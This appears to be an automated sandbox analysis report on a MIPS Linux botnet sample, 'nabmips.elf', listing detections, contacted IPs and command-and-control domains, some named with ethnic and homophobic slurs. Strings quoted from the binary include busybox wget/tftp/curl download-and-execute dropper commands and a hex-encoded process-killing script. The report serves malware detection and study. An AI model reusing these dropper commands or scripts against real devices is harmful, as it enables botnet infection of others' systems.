Linux Analysis Report
nabmips.elf

Overview

General Information

Sample name: nabmips.elf
Analysis ID: 1543143
MD5: 594b7b1afca19f187264cca75bdf2a55
SHA1: 429ee81de624a119607c8caa2095abb9b9e3ec05
SHA256: 8253e64c20c56bc4ea3b66568bfcaef305ea6e94a0243d580e46398cdbfe2d77
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: nabmips.elf ReversingLabs: Detection: 52%
Found strings indicative of a multi-platform dropper
Source: nabmips.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8
Sends malformed DNS queries
Source: global traffic DNS traffic detected: malformed DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: chinklabs.dyn. [malformed]
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:49418 -> 45.156.86.24:38241
Sample listens on a socket
Source: /tmp/nabmips.elf (PID: 5407) Socket: 127.0.0.1:39148 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 166.4.100.231
Source: unknown TCP traffic detected without corresponding DNS query: 23.68.243.103
Source: unknown TCP traffic detected without corresponding DNS query: 166.4.100.231
Source: unknown TCP traffic detected without corresponding DNS query: 114.104.185.143
Source: unknown TCP traffic detected without corresponding DNS query: 23.68.243.103
Source: unknown TCP traffic detected without corresponding DNS query: 180.6.39.108
Source: unknown TCP traffic detected without corresponding DNS query: 4.170.123.55
Source: unknown TCP traffic detected without corresponding DNS query: 114.104.185.143
Source: unknown TCP traffic detected without corresponding DNS query: 180.6.39.108
Source: unknown TCP traffic detected without corresponding DNS query: 69.163.145.40
Source: unknown TCP traffic detected without corresponding DNS query: 4.170.123.55
Source: unknown TCP traffic detected without corresponding DNS query: 75.188.215.206
Source: unknown TCP traffic detected without corresponding DNS query: 69.163.145.40
Source: unknown TCP traffic detected without corresponding DNS query: 33.71.147.183
Source: unknown TCP traffic detected without corresponding DNS query: 180.6.39.108
Source: unknown TCP traffic detected without corresponding DNS query: 215.170.117.28
Source: unknown TCP traffic detected without corresponding DNS query: 75.188.215.206
Source: unknown TCP traffic detected without corresponding DNS query: 4.170.123.55
Source: unknown TCP traffic detected without corresponding DNS query: 33.71.147.183
Source: unknown TCP traffic detected without corresponding DNS query: 203.176.185.182
Source: unknown TCP traffic detected without corresponding DNS query: 215.170.117.28
Source: unknown TCP traffic detected without corresponding DNS query: 69.163.145.40
Source: unknown TCP traffic detected without corresponding DNS query: 203.176.185.182
Source: unknown TCP traffic detected without corresponding DNS query: 33.71.147.183
Source: unknown TCP traffic detected without corresponding DNS query: 75.188.215.206
Source: unknown TCP traffic detected without corresponding DNS query: 124.245.34.6
Source: unknown TCP traffic detected without corresponding DNS query: 63.88.181.7
Source: unknown TCP traffic detected without corresponding DNS query: 215.170.117.28
Source: unknown TCP traffic detected without corresponding DNS query: 124.245.34.6
Source: unknown TCP traffic detected without corresponding DNS query: 59.101.243.79
Source: unknown TCP traffic detected without corresponding DNS query: 203.176.185.182
Source: unknown TCP traffic detected without corresponding DNS query: 63.88.181.7
Source: unknown TCP traffic detected without corresponding DNS query: 3.111.222.239
Source: unknown TCP traffic detected without corresponding DNS query: 124.245.34.6
Source: unknown TCP traffic detected without corresponding DNS query: 59.101.243.79
Source: unknown TCP traffic detected without corresponding DNS query: 177.74.140.246
Source: unknown TCP traffic detected without corresponding DNS query: 3.111.222.239
Source: unknown TCP traffic detected without corresponding DNS query: 196.37.168.153
Source: unknown TCP traffic detected without corresponding DNS query: 177.74.140.246
Source: unknown TCP traffic detected without corresponding DNS query: 121.14.222.195
Source: unknown TCP traffic detected without corresponding DNS query: 59.101.243.79
Source: unknown TCP traffic detected without corresponding DNS query: 162.155.181.101
Source: unknown TCP traffic detected without corresponding DNS query: 196.37.168.153
Source: unknown TCP traffic detected without corresponding DNS query: 3.111.222.239
Source: unknown TCP traffic detected without corresponding DNS query: 120.25.96.114
Source: unknown TCP traffic detected without corresponding DNS query: 121.14.222.195
Source: unknown TCP traffic detected without corresponding DNS query: 93.29.52.135
Source: unknown TCP traffic detected without corresponding DNS query: 177.74.140.246
Source: unknown TCP traffic detected without corresponding DNS query: 162.155.181.101
Source: unknown TCP traffic detected without corresponding DNS query: 120.25.96.114
Source: global traffic DNS traffic detected: DNS query: netfags.geek
Source: global traffic DNS traffic detected: DNS query: burnthe.libre
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn. [malformed]
Source: nabmips.elf String found in binary or memory: http:///curl.sh
Source: nabmips.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal56.troj.linELF@0/97@9/0
Enumerates processes within the "proc" file system
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5450/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5450/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5450/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5450/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5440/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5440/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5440/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5440/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5451/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5451/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5451/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5451/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5441/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5441/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5441/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5441/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5442/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5442/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5442/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5442/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5443/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5443/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5443/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5443/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5433/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5433/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5444/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5444/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5444/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5444/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5434/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5434/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5445/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5445/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5445/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5445/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5435/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5435/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5446/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5446/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5446/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5446/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5436/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5436/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5447/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5447/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5447/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5447/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5502/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5502/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5437/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5437/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5448/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5448/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5448/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5448/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5438/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5438/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5449/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5449/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5449/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5449/cmdline Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5439/maps Jump to behavior
Source: /tmp/nabmips.elf (PID: 5413) File opened: /proc/5439/cmdline Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/nabmips.elf (PID: 5407) Queries kernel information via 'uname': Jump to behavior
Source: nabmips.elf, 5407.1.00007ffeec583000.00007ffeec5a4000.rw-.sdmp, nabmips.elf, 5411.1.00007ffeec583000.00007ffeec5a4000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/nabmips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabmips.elf
Source: nabmips.elf, 5407.1.0000557ef78fd000.0000557ef7984000.rw-.sdmp, nabmips.elf, 5411.1.0000557ef78fd000.0000557ef7984000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: nabmips.elf, 5407.1.00007ffeec583000.00007ffeec5a4000.rw-.sdmp, nabmips.elf, 5411.1.00007ffeec583000.00007ffeec5a4000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips
Source: nabmips.elf, 5407.1.0000557ef78fd000.0000557ef7984000.rw-.sdmp, nabmips.elf, 5411.1.0000557ef78fd000.0000557ef7984000.rw-.sdmp Binary or memory string: ~U!/etc/qemu-binfmt/mips

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
45.145.204.62
 unknown Italy
203201 IT-SUPERNAPIT false
211.182.24.174
 unknown Korea Republic of
9706 PETISNET-ASBUSANEDUCATIONRESEARCHINFORMATIONCENTERKR false
181.230.202.224
 unknown Argentina
10481 TelecomArgentinaSAAR false
11.128.24.31
 unknown United States
3356 LEVEL3US false
22.112.177.169
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
157.4.190.178
 unknown Japan 7671 MCNETNTTSmartConnectCorporationJP false
202.193.243.72
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
75.104.121.156
 unknown United States
7155 VIASAT-SP-BACKBONEUS false
57.104.176.123
 unknown Belgium
51964 ORANGE-BUSINESS-SERVICES-IPSN-ASNFR false
16.91.75.235
 unknown United States
unknown unknown false
36.137.47.161
 unknown China
56044 CMNET-AS-LIAONINGChinaMobilecommunicationscorporationC false
146.145.90.67
 unknown United States
7029 WINDSTREAMUS false
130.220.87.230
 unknown Australia
7575 AARNET-AS-APAustralianAcademicandResearchNetworkAARNe false
140.160.99.9
 unknown United States
15199 WWUUS false
146.74.120.183
 unknown United States
30051 SCCGOVUS false
204.232.132.76
 unknown United States
27357 RACKSPACEUS false
67.76.181.167
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
218.245.62.94
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
140.245.101.30
 unknown United States
23151 TERC-1US false
120.56.66.17
 unknown India
17813 MTNL-APMahanagarTelephoneNigamLimitedIN false
5.113.106.50
 unknown Iran (ISLAMIC Republic Of)
44244 IRANCELL-ASIR false
173.141.222.241
 unknown United States
10507 SPCSUS false
96.107.123.39
 unknown United States
7922 COMCAST-7922US false
7.47.205.68
 unknown United States
3356 LEVEL3US false
55.62.181.208
 unknown United States
361 DNIC-ASBLK-00306-00371US false
64.11.98.38
 unknown United States
701 UUNETUS false
22.73.119.4
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
27.219.169.84
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
215.170.117.28
 unknown United States
721 DNIC-ASBLK-00721-00726US false
157.209.46.119
 unknown United States
4704 SANNETRakutenMobileIncJP false
15.41.68.100
 unknown United States
13979 ATT-IPFRUS false
35.96.210.40
 unknown United States
237 MERIT-AS-14US false
143.201.132.157
 unknown unknown
3128 BRUWS-AS3128US false
45.156.86.24
 netfags.geek Germany
44592 SKYLINKNL true
157.175.114.39
 unknown United States
16509 AMAZON-02US false
106.73.34.187
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
111.124.87.52
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
110.134.12.104
 unknown Japan 9824 JTCL-JP-ASJupiterTelecommunicationCoLtdJP false
106.48.50.128
 unknown China
63541 CHINACACHEBeijingBlueITTechnologiesCoLtdCN false
71.107.69.148
 unknown United States
701 UUNETUS false
21.96.23.213
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
192.251.88.246
 unknown United States
5080 ARAMCO-ASUS false
155.24.48.50
 unknown United States
1556 DNIC-ASBLK-01550-01601US false
110.232.111.221
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
121.154.82.217
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
192.207.79.22
 unknown United States
611 NECN-1-611CA false
191.55.237.34
 unknown Brazil
53006 ALGARTELECOMSABR false
90.147.15.32
 unknown Italy
137 ASGARRConsortiumGARREU false
156.14.235.204
 unknown Italy
137 ASGARRConsortiumGARREU false
163.193.26.3
 unknown United States
17816 CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi false
28.26.72.79
 unknown United States
7922 COMCAST-7922US false
54.32.99.144
 unknown United States
14618 AMAZON-AESUS false
214.95.224.203
 unknown United States
721 DNIC-ASBLK-00721-00726US false
86.42.103.129
 unknown Ireland
5466 EIRCOMInternetHouseIE false
54.188.61.100
 unknown United States
16509 AMAZON-02US false
93.242.254.225
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
193.226.189.77
 unknown Romania
5588 GTSCEGTSCentralEuropeAntelGermanyCZ false
38.173.120.137
 unknown United States
174 COGENT-174US false
153.22.193.143
 unknown United States
9877 NGEEANN-POLY-AS-APNgeeAnnPolytechnicComputerCenterSG false
3.35.132.137
 unknown United States
16509 AMAZON-02US false
71.230.186.103
 unknown United States
7922 COMCAST-7922US false
158.29.27.155
 unknown United States
1504 DNIC-AS-01504US false
148.109.222.145
 unknown United States
7834 L3HARRIS-TECHNOLOGIESUS false
14.232.106.188
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
215.217.88.138
 unknown United States
721 DNIC-ASBLK-00721-00726US false
54.219.81.234
 unknown United States
16509 AMAZON-02US false
94.114.202.231
 unknown Germany
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
212.228.44.65
 unknown United Kingdom
6659 NEXINTO-DE false
56.227.250.242
 unknown United States
2686 ATGS-MMD-ASUS false
203.164.36.40
 unknown Australia
4804 MPX-ASMicroplexPTYLTDAU false
16.71.20.179
 unknown United States
unknown unknown false
83.215.200.46
 unknown Austria
8445 SALZBURG-AG-ASAT false
183.218.205.183
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
72.184.223.235
 unknown United States
33363 BHN-33363US false
210.157.147.91
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
208.172.180.244
 unknown United States
3561 CENTURYLINK-LEGACY-SAVVISUS false
212.76.173.183
 unknown Russian Federation
12685 SIBITEXRU false
91.47.15.36
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
27.125.234.100
 unknown Malaysia
38466 UMOBILE-AS-APUMobileSdnBhdMY false
29.125.15.165
 unknown United States
7922 COMCAST-7922US false
120.51.223.146
 unknown Japan 2519 VECTANTARTERIANetworksCorporationJP false
30.167.158.199
 unknown United States
7922 COMCAST-7922US false
18.145.249.6
 unknown United States
16509 AMAZON-02US false
99.108.252.81
 unknown United States
7018 ATT-INTERNET4US false
134.115.208.123
 unknown Australia
7575 AARNET-AS-APAustralianAcademicandResearchNetworkAARNe false
54.73.114.207
 unknown United States
16509 AMAZON-02US false
97.153.212.235
 unknown United States
6167 CELLCO-PARTUS false
105.36.3.11
 unknown Egypt
37069 MOBINILEG false
80.231.246.17
 unknown European Union
6453 AS6453US false
141.253.62.1
 unknown Belgium
1103 SURFNET-NLSURFnetTheNetherlandsNL false
182.150.113.54
 unknown China
38283 CHINANET-SCIDC-AS-APCHINANETSiChuanTelecomInternetData false
193.108.169.64
 unknown United Kingdom
8897 KCOM-SPNService-ProviderNetworkex-MistralGB false
48.186.193.24
 unknown United States
2686 ATGS-MMD-ASUS false
28.14.81.162
 unknown United States
7922 COMCAST-7922US false
89.210.32.77
 unknown Greece
3329 HOL-GRAthensGreeceGR false
4.125.93.83
 unknown United States
3356 LEVEL3US false
91.92.16.121
 unknown Bulgaria
43561 NET1-ASBG false
159.177.192.24
 unknown Canada
34058 LIFECELL-ASUA false
28.97.98.162
 unknown United States
7922 COMCAST-7922US false
72.162.239.135
 unknown United States
30036 MEDIACOM-ENTERPRISE-BUSINESSUS false

Contacted Domains

Name IP Active
netfags.geek 45.156.86.24 true
yellowchink.pirate 45.156.86.24 true
burnthe.libre 45.156.86.24 true
chinklabs.dyn. [malformed] unknown unknown
netfags.geek. [malformed] unknown unknown